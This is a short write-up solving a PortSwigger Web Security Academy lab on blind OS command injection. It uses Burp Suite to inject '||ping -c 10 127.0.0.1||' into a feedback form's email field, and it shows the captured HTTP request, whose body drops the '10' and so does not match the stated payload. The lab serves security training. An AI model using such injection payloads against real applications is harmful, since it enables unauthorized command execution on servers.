Lab: Blind OS command injection with time delays

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.

To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

As per Lab Description, Submit Feedback Column contains OS Command Injection.

Filling the Necessary Details in the column and intercepting the HTTP Request using Burpsuite.

Submit feedback

Name:

kakarot

Email:

admin@admin.com

Subject:

Mayday

Message:

Mayday Mayday

Submit feedback

Payload:

csrf=M7K6zJRe5FHTvsNfIh9T35WdFuAlF9el&name=kakarot&email=**||ping+-c+10+127.0.0.1||**&subject=Mayday&message=Mayday+Mayday

```
POST /feedback/submit HTTP/2
Host: 0a7e001b03elbcee80ac3a5f004f005b.web-security-academy.net
Cookie: session=kQSgBjFIEhizGSmHzvuM7PrTltSjMMsz
Content-Length: 111
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a7e001b03elbcee80ac3a5f004f005b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a7e001b03elbcee80ac3a5f004f005b.web-security-academy.net/feedback
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,en-IN;q=0.8

csrf=M7K6zJRe5FHTvsNfIh9T35WdFuAlF9el&name=kakarot&email=||ping+-c+127.0.0.1||&subject=Mayday&message=Mayday+Mayday
```

Web Security Academy

Blind OS command injection with time delays

Back to lab description »

LAB Solved

Congratulations, you solved the lab!

Share your skills!

Continue learning »

Home | Submit feedback

Submit feedback

Name:

Email:

Subject:

Message: